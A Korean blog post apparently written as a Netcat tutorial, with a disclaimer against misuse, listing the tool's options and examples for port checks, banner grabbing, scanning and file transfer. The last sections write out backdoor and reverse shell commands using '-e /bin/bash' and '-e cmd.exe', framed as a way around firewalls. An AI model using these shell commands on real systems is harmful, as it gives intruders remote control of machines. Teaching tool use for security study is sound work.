KOROMOON

착한 사마리아인이 되고 싶습니다.

1/31/2018

Netcat


※ 주의사항 : 
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.


( 1 ) 설명


Netcat 은 TCP 나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 유틸리티 프로그램임.

일반적으로 UNIX 의 cat 명령어와 비슷한 사용법을 가지고 잇지만 cat 명령어를 통해 파일에 쓰거나 읽듯이 Netcat 툴은 네트워크에 읽거나 쓸 수 있음.
이것은 스크립트와 병용하여 네트워크에 대한 디버깅, 테스트 툴로써 매우 편리하고 원하는 포트로 원하는 데이터를 주고 받을 수 있는 특징 때문에 악의적으로 사용할 수 있음.
또한, 컴퓨터 포렌식에 있어서 라이브 시스템의 데이터를 손상없이 가져오기 위해서도 사용될 수 있음.
원하는 거의 모든 종류의 접속 형태를 만들어 낼 수 있고 흥미로운 몇 가지 내장 기능을 가지고 있기 때문에 다기능의 네트워크 문제해결 및 조사 시에 유용하게 사용 가능함.

윈도우 다운로드 : http://eternallybored.org/misc/netcat/

리눅스 다운로드 : https://sourceforge.net/projects/nc110/

참고로 SANS 에서 제공하는 Netcat Cheat Sheet 파일은 아래 링크에서 다운받으세요.

https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf


( 2 ) 사용법

※ 아래 옵션은 netcat-win32-1.12 버전을 기준으로 정리함.

어딘가에 연결 시 : nc [-options] hostname port[s] [ports] ...

인바운드 수신 대기 시 : nc -l -p port [options] [hostname] [port]

옵션 :

        -d              콘솔에서 분리되어 백그라운드 모드로 실행
        -e prog         커넥션(Connection)이 이루어졌을 때 후 프로그램을 실행함 (위험!)
        -g gateway      source-routing hop point[s]를 8씩 증가
        -G num          source-routing point를 4, 8, 12 .. 4씩 증가
        -h              도움말
        -i secs         스캔된 포트로 전송된 회선의 지연 간격
        -l              인바운드 커넥션을 위해서 listen 모드로 실행
        -L              소켓 종료 시 재전송 실행
        -n              IP 주소 입력 (DNS 을 사용하지 않음)
        -o file         주고받은 데이터를 헥스 덤프(Hex Dump)하여 파일로 저장함
        -p port         로컬 포트를 지정함
        -r              로컬 이나 원격 포트를 임의로 지정함
        -s addr         로컬 출발지 주소를 지정함
        -t              Telnet 과 같은 협상 과정을 거치도록 설정함
        -c              LF 대신 CRLF 를 보냄
        -u              UDP 모드
        -v              자세한 설명 모드 (더 자세한 정보를 표시하기 위해 두 번 사용)
        -w secs         마지막으로 읽고 난 후 종료할 시간을 정함
        -z              zero-I/O 모드 (스캔 시 사용)

참고로 포트 범위는 개별 또는 범위(m-n)일 수 있음.



( 3 ) 사용예

1. 특정 포트에 대한 연결 수립
원격 IP 의 특정 포트로 연결하여 Open 되어 있는 여부를 확인함.
nc [IP] [Port]

2. 서비스 배너 수집
다양한 서비스를 대상으로 그대로 사용할 수 있음.
하지만 HTTP 서비스는 HTTP 헤더 양식을 전송해줘야 함.
(윈도우에서는 잘 안 됨. ㅠㅠ)
echo -e "HEAD / HTTP/1.0\n\n" | nc [IP] 80

3. 포트 스캐닝
TCP 프로토콜을 사용하여 특정 포트나 포트 범위를 스캔함.
(보다 정확한 결과값을 원한다면 nmap 을 사용할 것!)
nc -n -v -z -w 1 [IP] [포트 범위]

4. 파일 전송
클라이언트(윈도우) -> 서버(Kali Linux)로 파일 전송
클라이언트
nc -w3 [IP] [Port] < [파일명]
서버
nc -l -p [Port] > [파일명]

서버(Kali Linux) -> 클라이언트(윈도우)로 파일 전송
클라이언트
nc -w3 [IP] [Port] > [파일명]
서버
nc -l -p [Port] < [파일명]

5. 백도어 쉘 (Backdoor Shell)
Netcat 툴을 이용한 백도어 쉘의 기본 매커니즘은 특정 포트(-p)에서 listen 모드(-l)로 실행하여 연결 수립 시 특정 쉘을 실행(-e)하도록 옵션을 지정하는 방식임.

리눅스 환경(서버)에서 백도어 쉘

nc -l -p [로컬 포트] -e /bin/bash

윈도우 환경(서버)에서 백도어 쉘
nc -l -p [로컬 포트] -e cmd.exe

위 스샷에서 서버(Kali Linux) 측 쉘에 접속 후 명령어 뒤에 세미콜론 문자(;)를 덧붙여야 함.
(사용하는 클라이언트 마다 다를 수 있음)

6. 리버스 쉘 (Reverse Shell)

Netcat 툴을 이용한 백도어 쉘의 기본 매커니즘은 백도어 쉘과는 반대로 보통 서버 앞단에 방화벽을 우회하기 위해서 리버스 쉘을 이용함.
방화벽에서 허용된 나가는 포트를 이용하여 클라이언트 측에서 쉘을 실행시킨 후 서버 측에서 접속함.

리눅스 환경(서버)에서 리버스 쉘
nc [자신의 IP 주소] [포트] -e /bin/bash

윈도우 환경(서버)에서 리버스 쉘
nc -l -p [로컬 포트] -e cmd.exe
nc [자신의 IP 주소] [포트] -e cmd.exe


============================================================
본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기